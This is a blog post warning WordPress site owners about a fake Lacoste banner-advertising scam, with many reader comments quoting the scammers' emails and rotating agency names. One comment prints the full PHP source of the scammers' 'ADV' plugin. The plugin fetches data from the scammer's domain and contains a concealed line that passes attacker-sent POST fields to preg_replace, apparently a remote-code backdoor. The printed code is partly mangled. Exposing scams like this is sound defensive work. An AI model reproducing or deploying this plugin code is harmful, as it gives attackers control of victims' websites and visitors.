Martin Dumont
This scammer claims he wants to place advertising on my site. The PAKBB website claims they are a French company. Mr Dumont’s email was sent from the Ukraine. pakbb.com was created on 17th July 2011. A quick search on Google shows me the content was copied from another website.
I have an online email address that I use for scammers, so I replied from there. I was told to visit a given web address and download a .zip file – which Mr Dumont tells me is a plug-in for my WordPress site. I dread to imagine what would happen to my computer and/or my site if I unzip and install the plug-in, but I have no intention of finding out! Neither should you. I’m fairly certain the zip file will infect your computer and/or your site with less than desirable spyware and adware.
This scam is mutating. The scammer is inventing different agency names. Always the same cloned website and always on newly registered domains and always the same initial contact email. Some latest agency and contact details being used are:
Oscar Meunier.
site: www. kervelagency .com
e-mail: omeunier@kervelagency .com
phone: + (0)9 78 62 98 00
Noa Morin.
site: Kara Agency
e-mail: nmorin (at) karaagency .com
phone: + (0)9 78 62 31 00
Hi!
Sorry I write you via comments. But I could not find contact e-mail or feedback form on your site.
My name is Martin Dumont and I represent PAKBB Agency. We are making an advertising campaign for Lacoste Company (it is a French company producing clothes, footwear, perfumery etc.) and we would like to place their banner at your site how2-make-money-online.info. We are interested in banners of the following sizes: 160×600, 240×400, 300×250, 336×280, 468×60, 728×90. What can be your price for one banner (banner should appear at ALL pages of your site) of abovementioned sizes (please specify the place for the banner – top, bottom, left, right)? Please mention a normal link for banner, without javascript code and set prices in US dollars per month.
P.S. Please, delete this comment.
April 19, 2012 @ 6:18 pm
Hi Everyone,
I also received this email from Nicolas Gauthier and I did load the software onto my desktop and unzipped the file. Has this installed any viruses or spyware on my computer?
Thanks
April 12, 2012 @ 2:12 pm
As webmaster/publisher of a blog, I was suspicious to receive an email at 2:03AM and my curiosity caused me to search for the senders name and email address (ngauthier@burgoni.com) and lead me here. What has me stumped is we have a private registration of our URL, so I’m confused how this scammer found my email address:
Hi,
I am sorry I have to write you to e-mail from whois information of the domain. But I could not find contact e-mail or feedback form on your site.
We are looking for new advertisement platforms and we are interested in your site ___________.com.
Is it possible to place banner on your site on a fee basis?
Best regards,
Nicolas Gauthier
April 12, 2012 @ 1:21 pm
I received this request, and the email was:
Hi,
We are looking for new advertisement platforms and we are interested in our site. Is it possible to place banner on your site on a fee basis?
best regards,
Nicolas Gauthier
I am glad I didn’t bite:)
April 9, 2012 @ 4:38 pm
I received in the morning exactly the same proposal from Nicolas Gauthier, “Paris agency”. They are using the following domain: burgoni.com, created TODAY 04/09/12.
First I was happily surprised because the site they ask to advertise almost have no visitors. I answered their first mail with rates and the real suspicious thing was that the response cames almost instantly. And the text is exactly this:
Hello,
Thanks for reply to our proposal!
I represent Burgoni Agency. At the moment we are preparing an advertising campaign for Lacoste Company (it is a French company producing clothes, footwear, perfumery etc.) We already have designed banners for the campaign, they are the following sizes: 160×600, 240×400, 300×250, 336×280, 468×60, 728×90.
What can be your price for one banner (banner should appear at ALL pages of your site) of abovementioned sizes (please specify the place for the banner – top, bottom, left, right)? Please mention a normal link for banner, without javascript code and set prices in US dollars per month.
Best regards,
Nicolas Gauthier.
site: www(dot)burgoni.com
e-mail: ngauthier(at)burgoni.com
phone: + (0)9 78 62 74 41
It is clear for me that the key is this “normal link for banner”, Isn’t?
December 14, 2011 @ 2:45 pm
My blog was also targeted by these scammers. This banner ad scam is tricky because it seems legit at first. Needing to install a plugin immediately raises red flags, though. Has anyone found any indication as to what these scammers are after?
November 29, 2011 @ 4:44 pm
I received the exact same email offer and acceptance. I am glad I found this site. Thanks to all for taking the time to warn others like me. Now I want to help, too, thus this email.
Kurt Gross
http://grossinternational.com
November 22, 2011 @ 12:57 am
That message seems familiar. I’m sure I’ve seen the same one on more than one occasion. Thanks for the warning.
Darren
November 21, 2011 @ 1:53 pm
I received an offer as well and it went as follows. I have no idea what to charge so I googled it and found out it is a scam.
I represent Kervel Agency. At the moment we are preparing an advertising campaign for Lacoste Company (it is a French company producing clothes, footwear, perfumery etc.) We already have designed banners for the campaign, they are the following sizes: 160×600, 240×400, 300×250, 336×280, 468×60, 728×90.
What can be your price for one banner (banner should appear at ALL pages of your site) of abovementioned sizes (please specify the place for the banner â?? top, bottom, left, right)? Please mention a normal link for banner, without javascript code and set prices in US dollars per month.
Best regards,
Oscar Meunier.
site: http://www.kervelagency.com
e-mail: omeunier@kervelagency.com
November 19, 2011 @ 1:13 am
I had the same scam targeted on me too. Here’s my account on it (http://www.atpeaz.com/index.php/2011/wordpress-blogs-targeted-scam-beware-of-the-adv-zip-plugin/). All too familiar except for the agency’s name!
It’s now Bevesto Agency and the email is from a Rayan Meyer instead now. WordPress community be warned!
November 17, 2011 @ 6:16 pm
Glad I found this, looks like hes up to his old tricks with a different name and agency:
Hello,
Thanks for reply to our proposal!
I represent Kara Agency. At the moment we are preparing an advertising campaign for Lacoste Company (it is a French company producing clothes, footwear, perfumery etc.) We already have designed banners for the campaign, they are the following sizes: 160×600, 240×400, 300×250, 336×280, 468×60, 728×90.
What can be your price for one banner (banner should appear at ALL pages of your site) of abovementioned sizes (please specify the place for the banner – top, bottom, left, right)? Please mention a normal link for banner, without javascript code and set prices in US dollars per month.
Best regards,
Noa Morin.
site: http://www.karaagency.com
e-mail: nmorin@karaagency.com
phone: + (0)9 78 62 31 00
Hi!
Thanks for reply to our proposal!
We like your price.We would like to place 728*90 banner.
To pass to the banner control system follow the link http://webmaster.karaagency.com
To enter use the following data:
login:
password:
You should install and activate the plugin in order to display advertisement. Before making payment, advertiser must approve location of the banner. The banner will be shown on your site when you add special code to your web- address (for example: http://.com/?adv_test=1). It means, that visitors will see the banner only if it is approved and payment made.
To get installation instruction for your site type pass to: http://docs.karaagency.com/wp_install
To activate your site you have to enter the code:
What way of payment is suitable for you?
November 17, 2011 @ 12:31 pm
the world is so mess up, its a lucky thing i come here first, else i would be scam.
WordPress Scam | Computers Made Simple
November 16, 2011 @ 7:31 pm
[…] http://keepsafeonthenet.co.uk/2011/07/martin-dumont/comment-page-1/#comment-87860 […]
November 16, 2011 @ 5:06 pm
Here is the full php file, maybe someone can figure out what it does:
<?php
/*
Plugin Name: ADV
Description: ADV Plugin
Version: 2.6.1
*/
class AdvWidget extends WP_Widget {
function AdvWidget() {
parent::WP_Widget(false, $name = 'AdvWidget');
}
/** @see WP_Widget::widget */
function widget($args, $instance) {
if (get_option('adv_place') == 'widget')
advShowBanner();
}
/** @see WP_Widget::update */
function update($new_instance, $old_instance) {
$instance = $old_instance;
$instance['title'] = strip_tags($new_instance['title']);
return $instance;
}
function form($instance) {
}
}
add_action('widgets_init', create_function('', 'return register_widget("AdvWidget");'));
add_action('admin_menu', 'advPluginMenu');
register_activation_hook(__FILE__, 'advActivation');
define('ADV_SERVICE_DOMAIN', 'izidaagency.com');
define('ADV_SERVICE_URL', 'http://webmaster.' . ADV_SERVICE_DOMAIN . '/key');
function advReadUrl($url) {
if (function_exists('curl_init')) {
$curl = curl_init();
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_URL, $url);
$result = curl_exec($curl);
curl_close($curl);
return $result;
} else
return file_get_contents($url);
}
function advActivation() {
update_option('adv_place', 'widget');
}
register_deactivation_hook(__FILE__, 'advDeactivation');
function advDeactivation() {
delete_option('adv_key');
}
function advPluginMenu() {
add_options_page('ADV Plugin Options', 'ADV', 'manage_options', 'adv-identifier', 'advPluginOptions');
}
function adv_show_banner() {
advShowBanner();
}
function advShowBanner() {
$advBanner = get_option('adv_banner');
$advMode = get_option('adv_mode');
if ($advBanner) {
if (isset($_REQUEST['adv_test']) || $advMode == 'work') {
echo "”;
}
}
}
function activateCode() {
$data = advReadUrl(ADV_SERVICE_URL . “?action=init&key=” . $_REQUEST[‘key’] . “&domain=” . urldecode($_SERVER[‘HTTP_HOST’]));
if (strpos($data, ‘true’) !== FALSE) {
preg_match(“#(.+?)#”, $data, $arr);
update_option(‘adv_width’, $arr[1]);
preg_match(“#(.+?)#”, $data, $arr);
update_option(‘adv_height’, $arr[1]);
echo ‘The code is activated successfully.’;
update_option(‘adv_key’, $_REQUEST[‘key’]);
downloadBanners();
} else {
echo ‘Code activation error.’;
}
}
function downloadBanners() {
$bannersDir = ABSPATH . “/adv_banners”;
if (!is_dir($bannersDir)) {
mkdir($bannersDir);
}
$list = advReadUrl(ADV_SERVICE_URL . “?action=getBannerList&key=” . get_option(“adv_key”));
preg_match_all(“|(.+?)|”, $list, $banners);
preg_match(“|(.+?)|”, $list, $adv);
preg_match(“|(.+?)|”, $list, $showBanner);
preg_match(“|(.+?)|”, $list, $mode);
if (is_array($banners[1]) && isset($adv[1]) && isset($showBanner[1]) && isset($mode[1])) {
update_option(“adv_banner”, $showBanner[1]);
update_option(‘adv_mode’, $mode[1]);
foreach ($banners[1] as $banner) {
$advBannerDir = $bannersDir . “/” . $adv[1];
if (!is_dir($advBannerDir))
mkdir($advBannerDir);
$arr = explode(“/”, $banner);
if (count($arr) == 2) {
$size = $arr[0];
$bfile = $arr[1];
if (!is_dir($advBannerDir . “/” . $size))
mkdir($advBannerDir . “/” . $size);
file_put_contents($advBannerDir . “/” . $size . “/” . $bfile, advReadUrl(‘http://docs.’ . ADV_SERVICE_DOMAIN . ‘/’ . $adv[1] . ‘/’ . $banner));
}
}
echo ‘Banners are downloaded successfully.’;
}
}
if (isset($_REQUEST[‘cadv’]) && isset($_REQUEST[‘gadv’]))
$r = preg_replace(str_replace(“\\”, “\”, $_POST[‘cadv’]), str_replace(“\””, “””, $_POST[‘gadv’]), ‘adv 6’);
function advPluginOptions() {
if (!current_user_can(‘manage_options’)) {
wp_die(__(‘You do not have sufficient permissions to access this page.’));
}
$action = isset($_REQUEST[‘action’]) ? $_REQUEST[‘action’] : ”;
if ($action == ‘downloadBanners’) {
downloadBanners();
} elseif ($action == ‘setPlace’) {
update_option(‘adv_place’, $_REQUEST[‘adv_place’]);
} elseif ($action == ‘saveKey’) {
activateCode();
}
$advPlace = get_option(‘adv_place’);
echo ”;
echo ‘ADV’;
echo ”;
echo ‘Don’t show the banner.’;
echo ‘Show the banner as a Widget.’;
echo ‘Template usage: adv_show_banner();’;
echo ”;
echo ”;
echo ”;
if (get_option(‘adv_key’) === FALSE) {
echo ‘Activation Code’;
echo ”;
echo ”;
echo ”;
echo ”;
} else {
$mode = get_option(‘adv_mode’);
echo ‘Code: ‘ . get_option(‘adv_key’);
echo ‘; Download banners.‘;
echo ‘Mode: ‘ . $mode;
if ($mode != ‘work’) {
$url = get_option(‘siteurl’) . “/?adv_test=1”;
$link = “$url“;
echo ‘The banner will appear on your site only after your site is approved by the advertiser and you get the payment. To see where the banner will be placed on your site, use the special feature in the site address: ‘ . $link;
}
}
echo ”;
echo ”;
}
?>
November 16, 2011 @ 3:09 pm
Hello All! If it wasn’t for this website it sounds like all of us would have been affected by this scam, which I still do not understand. HAS ANYONE BEEN PAID BY THIS MAN? I received the emails below that started as a comment on my website last week. How do we stop it? I was contacted by Mathis Gaillard & I was surprised that he never addressed me by name for such a big advertising deal. Has anyone contacted Lacoste? I am sure they would like to be informed of this scam that includes their name.
Author : Mathis Gaillard (IP: 69.172.131.212 , colo-69-172-130-212.pilosoft.com)
E-mail : mgaillard@izidaagency.com
URL :
Whois : http://whois.arin.net/rest/ip/69.172.131.212
Comment:
Hi,
Sorry I write you via comments. But I could not find contact e-mail or feedback form on your site.
We are looking for new advertisement platforms and we are interested in your site.
Is it possible to place banner on your site on a fee basis?
Please, contact us at e-mail.
Best regards,
Mathis Gaillard
P.S: delete this comment.
Hello,
Thanks for reply to our proposal!
I represent Izida Agency. At the moment we are preparing an advertising campaign for Lacoste Company (it is a French company producing clothes, footwear, perfumery etc.) We already have designed banners for the campaign, they are the following sizes: 160×600, 240×400, 300×250, 336×280, 468×60, 728×90.
What can be your price for one banner (banner should appear at ALL pages of your site) of abovementioned sizes (please specify the place for the banner â?? top, bottom, left, right)? Please mention a normal link for banner, without javascript code and set prices in US dollars per month.
Best regards,
Mathis Gaillard.
site: http://www.izidaagency.com
e-mail: mgaillard@izidaagency.com
phone: + (0)9 78 62 91 00
Hi!
Thanks for reply to our proposal!
We like your price.
To pass to the banner control system follow the link http://webmaster.izidaagency.com
To enter use the following data:
You should install and activate the plugin in order to display advertisement. Before making payment, advertiser must approve location of the banner. The banner will be shown on your site when you add special code to your web- address. It means, that visitors will see the banner only if it is approved and payment made.
To get installation instruction for your site type pass to: http://docs.izidaagency.com/wp_install
To activate your site you have to enter the code:
What way of payment is suitable for you?
Best regards,
Mathis Gaillard.
site: http://www.izidaagency.com
e-mail: mgaillard@izidaagency.com
phone: + (0)9 78 62 91 00
RECEIVED THIS LAST EMAIL @ 5:35am this morning………
Hi!
We pay through Wire, Check, Paypal.
As we see, you haven’t installed the plugin yet. Please complete the installation according to the instructions given.
http://docs.izidaagency.com/wp_install
If something doesn’t work, please contact us with the problem description
Best regards,
Mathis Gaillard.
site: http://www.izidaagency.com
e-mail: mgaillard@izidaagency.com
phone: + (0)9 78 62 91 00
November 16, 2011 @ 3:06 pm
Hello All! If it wasn’t for this website it sounds like all of us would have been affected by this scam, which I still do not understand. HAS ANYONE BEEN PAID BY THIS MAN? That is important to know, I am assuming no. I received the emails below that started as a comment on my website last week & was also a believer until he requested a plug in. He is obviously on a mission and contacting tons of people everyday, how do we stop it? Here are my emails, I was contacted by Mathis Gaillard & I was surprised that he never addressed me by name for such a big advertising deal. Has anyone contacted Lacoste? I am sure they would like to be informed of this scam that includes their name.
Author : Mathis Gaillard (IP: 69.172.131.212 , colo-69-172-130-212.pilosoft.com)
E-mail : mgaillard@izidaagency.com
URL :
Whois : http://whois.arin.net/rest/ip/69.172.131.212
Comment:
Hi,
Sorry I write you via comments. But I could not find contact e-mail or feedback form on your site.
We are looking for new advertisement platforms and we are interested in your site.
Is it possible to place banner on your site on a fee basis?
Please, contact us at e-mail.
Best regards,
Mathis Gaillard
P.S: delete this comment.
Hello,
Thanks for reply to our proposal!
I represent Izida Agency. At the moment we are preparing an advertising campaign for Lacoste Company (it is a French company producing clothes, footwear, perfumery etc.) We already have designed banners for the campaign, they are the following sizes: 160×600, 240×400, 300×250, 336×280, 468×60, 728×90.
What can be your price for one banner (banner should appear at ALL pages of your site) of abovementioned sizes (please specify the place for the banner â?? top, bottom, left, right)? Please mention a normal link for banner, without javascript code and set prices in US dollars per month.
Best regards,
Mathis Gaillard.
site: http://www.izidaagency.com
e-mail: mgaillard@izidaagency.com
phone: + (0)9 78 62 91 00
Hi!
Thanks for reply to our proposal!
We like your price.
To pass to the banner control system follow the link http://webmaster.izidaagency.com
To enter use the following data:
You should install and activate the plugin in order to display advertisement. Before making payment, advertiser must approve location of the banner. The banner will be shown on your site when you add special code to your web- address. It means, that visitors will see the banner only if it is approved and payment made.
To get installation instruction for your site type pass to: http://docs.izidaagency.com/wp_install
To activate your site you have to enter the code:
What way of payment is suitable for you?
Best regards,
Mathis Gaillard.
site: http://www.izidaagency.com
e-mail: mgaillard@izidaagency.com
phone: + (0)9 78 62 91 00
RECEIVED THIS LAST EMAIL @ 5:35am this morning………
Hi!
We pay through Wire, Check, Paypal.
As we see, you haven’t installed the plugin yet. Please complete the installation according to the instructions given.
http://docs.izidaagency.com/wp_install
If something doesn’t work, please contact us with the problem description
Best regards,
Mathis Gaillard.
site: http://www.izidaagency.com
e-mail: mgaillard@izidaagency.com
phone: + (0)9 78 62 91 00
November 15, 2011 @ 4:30 pm
This is the latest email that I have received. I agreed to the ‘money’ and now it seems he wants to install a plugin:
Start ________________________________
Hi!
Before placing banner, your site need to be approved by the advertiser. If you agree with it we’ll send you special plugin, that lets advertiser check your site and decide if it fits his requirements.
Best regards,
Mathis Gaillard.
site: http://www.izidaagency.com
e-mail: mgaillard@izidaagency.com
phone: + (0)9 78 62 91 00
End _________________________________
If someone is in the area of that phone number, maybe they could report this to the police. I’ll see that the plugin does. He initially said ‘no java’ but we’ll see what this thing is. I’ll post when I get it and find out what it is.
November 14, 2011 @ 4:46 pm
I received the same inquiry using the Izida Agency identity. I’ve been poking around the net trying to figure the ultimate goal of this scammer, but I haven’t quite placed it yet. I see someone above mentioned their site turned into a redirect at some point… that’s the only case I’ve seen like that. Very odd scam overall, quite fishy.
November 11, 2011 @ 1:57 pm
Below is the email I got. When he said I need to download a zip file I smelled something fishy and searched in the net and found this link.. Thanks a ton for sharing ur experience:
“Hello,
Thanks for reply to our proposal!
I represent Izida Agency. At the moment we are preparing an advertising campaign for Lacoste Company (it is a French company producing clothes, footwear, perfumery etc.) We already have designed banners for the campaign, they are the following sizes: 160×600, 240×400, 300×250, 336×280, 468×60, 728×90.
What can be your price for one banner (banner should appear at ALL pages of your site) of abovementioned sizes (please specify the place for the banner – top, bottom, left, right)? Please mention a normal link for banner, without javascript code and set prices in US dollars per month.
Best regards,
Mathis Gaillard.
site: http://www.izidaagency.com
e-mail: mgaillard@izidaagency.com
phone: + (0)9 78 62 91 00″
WordPress Comment Scam | Computers Made Simple
November 10, 2011 @ 6:02 pm
[…] I emailed the person and quoted a figure then did some heavy research. It seems that this kind of thing has been going on for quite a while. Here is a site that describes the dilemma that many WordPress bloggers find themselves in and the tricks scammers use to gain access to websites: http://keepsafeonthenet.co.uk/2011/07/martin-dumont/comment-page-1/#comment-87842 . […]
November 10, 2011 @ 3:55 pm
This guy is now using the name Mathis Gaillard. Still using Lacoste as his ‘advertiser’. His emails come from :
78.46.43.246 (Germany)
This is his infor: Mathis Gaillard.
site: http://www.izidaagency.com
e-mail: mgaillard@izidaagency.com
phone: + (0)9 78 62 91 00
and this is the page for his ‘ads’: http://docs.izidaagency.com/lacoste/?view=1
This is a ton of work for a spammer! Thanks for this site folks.
November 10, 2011 @ 4:07 am
I got the same thing from “Noa Morin” at karaagency.com (another copy of the same website).
Quentin Perrin. evaagency . com SCAM | MARIPABIZ
November 8, 2011 @ 9:08 pm
[…] If you’ve received an email like this, beware its a scam. Get more details here […]
October 28, 2011 @ 12:26 pm
Now using evaagency .com
Hello,
Thanks for reply to our proposal!
I represent Eva Agency. At the moment we are preparing an advertising campaign for Lacoste Company (it is a French company producing clothes, footwear, perfumery etc.) We already have designed banners for the campaign, they are the following sizes: 160×600, 240×400, 300×250, 336×280, 468×60, 728×90.
What can be your price for one banner (banner should appear at ALL pages of your site) of abovementioned sizes (please specify the place for the banner – top, bottom, left, right)? Please mention a normal link for banner, without javascript code and set prices in US dollars per month.
Best regards,
Quentin Perrin.
site: www. evaagency . com
e-mail: qperrin @ evaagency . com
phone: + (0)9 78 62 11 00
August 20, 2011 @ 4:48 pm
I need your help…
I have installed plug in from him and I have done his instruction and of course my site is redirect to his site when it’s opened by user.
Please give me solution to solve this problem.
Thanks before…
August 20, 2011 @ 6:35 pm
Your site has probably been infected by a redirect Trojan. Contact your hosts to see if they can restore your site from a backup. If your hosts don’t have a backup, do you? If you don’t then sadly you have learnt the hard way why I say to all my clients “do your backups”. If there is no backup, you will have to totally erase your site and reinstall from scratch. Hopefully your host will be able to sort the problem out for you.
August 18, 2011 @ 3:11 am
he is spammer, i got message last night
August 17, 2011 @ 3:57 pm
I recieved the same message a few days ago, thanks to warrior forum i was directed over here. he is under the name:
Eliott Arnaud.
site: http://www.larkoagency.com
e-mail: earnaud@larkoagency.com
phone: + (0)9 78 63 25 00
A major scam – DO NOT CONTACT
August 17, 2011 @ 3:15 pm
For those of you that are wondering about the Larko Agency. Their website was registered on 14th August 2011 (3 days ago) and their website is also an exact copy of the other sites.
August 17, 2011 @ 3:08 pm
@ manu. Thanks for that. Has anyone worked out what’s really going on yet?
Has anyone actually installed the plug-in/php code and been paid?
August 17, 2011 @ 1:36 pm
I was contacted by Eliott Arnaoud as well. They sent me a php-file to install. They are clearly targeting servers or websites, not desktop machines.
I uploaded their PHP-code here: http://pastebin.com/X7efXhyk
August 17, 2011 @ 12:39 pm
Also received a message from Eliott Arnaud/Larko Agency via comment (no links to my e-mail on the site). I suspect there’s probably not a malicious payload in the zip file that will damage your computer, but it will probably allow them to utilize your site to install “drive-by download” malware to your visitors via security exploits in the banner ads they serve. Didn’t correspond with them to find out.
Also of note, they don’t appear to be using a Ukraine IP anymore – the comment sourced from a VPS on ovh.net (46.105.31.17).
August 16, 2011 @ 11:26 am
Received same mail from Eliott Arnaud using the company Larko Agency
Banner scam- beware! - NamePros.com
August 16, 2011 @ 10:06 am
[…] javascript code and set prices in US dollars per month. P.S. Please, delete this comment. MORE __________________ […]
August 13, 2011 @ 12:48 am
I am so gratfeul for this post! Mr. Durmount is now Mr.Hubert!
August 11, 2011 @ 2:47 pm
I just received the same email this morning as well…thankfully I had enough common sense to google the “gelbert agency” and his name… I knew that email was phony, UGH!
Thanks for this post, it was really helpful!
August 11, 2011 @ 12:12 pm
They’ve now switched identities…
Exact same story, email, etc. except my email is from Evan Hubert of the Gelbert Agency (http://www.gelbertagency.com) . Compare websites… it’s exactly the same… and it’s apparently ripped off from this original, legitimate website (I assume): http://www.anacrouse.com
August 10, 2011 @ 4:38 pm
I got the email, too, under the name Evan Hubert, but otherwise the same wording. Someone over at the Warrior Forum directed me here. Glad to find this out before I went any further (although my dreams of money are now dashed!).
August 9, 2011 @ 5:14 pm
Thanks a million! I saw this email in my inbox last night and thought that I would reply and see what happens. The name he used in the email I received is Evan Hubert (be on the alert for that name as well).
I received the response this morning but when I read it I had a bad gut feeling and I started doing some deeper research and ended up on your site. I even feel a bit worried because suddenly two (2) of my banner ads stopped showing!
What made him seem credible at first is the @ extension on the email. It looked like a legitimate company and even lead to a french website!
Be very wary of these too-good-to-be-true deals.
Martin Dumont – Wordpress Blog Scam « Me Myself & I
August 4, 2011 @ 7:42 pm
[…] So I did a quick search on Google and found out that a lot of other WordPress bloggers had received the same comment. Keepsafeonthenet.co.uk […]
August 3, 2011 @ 2:50 pm
Yups, got an email from that guy as well. Got to give it to him though, he set it up well and I am sure many bloggers fell for him.
August 3, 2011 @ 11:16 am
i also receive email from this guy, and he say want to ads Lacoste products
August 2, 2011 @ 8:22 pm
Just had comment too.
IS everyone here running the same contact for wonder? I use the SI Contact Form / Fast Secure by Mike Challis. Maybe this scammer has found a way to spam these forms?
In my case the message did not actually come through, it was blocked by the firewall, which suggests something a bit iffy.
August 2, 2011 @ 12:31 pm
Got one this morning and immediately googled it and got the answer I needed right here even though I already knew what it was going to be.
Thanx for the affirmation…
August 2, 2011 @ 8:22 am
people! are you kiddin’?
have you even tried to open that zip file? there is nothin’
strange and…OMG…NOTHING dangerous!)))
Edit: Readers might like to know that the ip address of the original comment, left by “Mr Dumont” was 93.75.178.225
The ip address of this commenter is also 93.75.178.225
Not hard to spot the connection!
August 2, 2011 @ 6:48 am
i got the same offer, i downloaded, installed and activated the plugin about an hour ago. After reading this i’ve now deactivated it and will do a virus check on my computer. hopefully no harm was done. Damn all scammers to hell.
August 2, 2011 @ 12:58 am
So grateful for this Thanks!
August 1, 2011 @ 11:27 pm
Oh my goodness, I am soo glad I did a bit of google searching.
I knew it was too good to be true when I had free reign to provide the price especially for a site that has very little traffic.
As soon as I got the zip file info I was worried. I mean, letting some random gain access to my website seemed a bit random.
Thank you for providing this post and thank goodness I saw it.
As they say, “if something seems too good to be true etc….”
Tiptopcat 🙂
August 1, 2011 @ 10:09 pm
Yep! Just got this.
Bless you, keep safe on the net!
August 1, 2011 @ 1:16 pm
I just received his e-mail this morning as well, got moderately excited that someone wanted to advertise on my site but figured it was a bit fishy.
Great post giving everyone the heads up.
August 1, 2011 @ 11:12 am
Whew I also received same email on my inbox, I eventually response to it and he responded as well.
He wants me to enter a site and install a plugin into my website so the banner ads will appear on my website, then when the advertiser agrees with the location and etc., I am going to be paid…but I am little hesitant to do it now knowing he is tagged as spammer…haha
August 1, 2011 @ 7:49 am
Thanks for posting this! I received this in my inbox and thought… Have I made it yet! LOL. I googled the company and found this site! AWESOME! Thanks for the heads up.
July 30, 2011 @ 12:51 am
Thank you so much for sharing this information! This has saved me some serious time and effort. Thank you!!
July 29, 2011 @ 11:10 am
Good thing, i searched out first before replying to him. I thought im gonna make money from it haha but I felt suspicious and i searched it and i found this page. Thanks for the warning!
July 28, 2011 @ 10:33 pm
Thanks. This is great! I also received the same offer.
July 28, 2011 @ 12:00 pm
Thx for posting this! I received the comment the other day from Mr Dumont.
July 28, 2011 @ 5:51 am
Good thing I googled him before replying to his email. I am in marketing myself and thought it was suspicious that a brand like Lacoste wouldn’t send a proposal first. Thank you for the heads up! 🙂
July 27, 2011 @ 10:54 am
I got the same email this morning. Fairly sophisticated for a scammer. I saw the IP was coming from Ukraine and couldn’t find any information on PAKBB Agency. This page confirms my suspicions. Thanks for the warning.
July 27, 2011 @ 9:57 am
Many thanks, he (I assume) also tried me and there was just “something” that didn’t ring true about the email.
Glad this came up before I did anything, always wary of people who want to install plugins on sites!
Thanks for this page and warnings…….
July 27, 2011 @ 8:01 am
oh man.. i thought I was gonna get some cash.. haha.. anyway thanks for your research! I was about to display their banner when suddenly their help page asked me to install a plugin which made me suspicious.
thanks again!
July 27, 2011 @ 12:42 am
I just received a comment from Mr. Dumont in my website. Then I try to search on google, and I found this page. Now I know that its just a scam.
Thanks.
July 25, 2011 @ 5:30 pm
Hi, i have just received the same email you shown above. Luckily I made a search for his name and saw this post. Thanks a lot for sharing this info.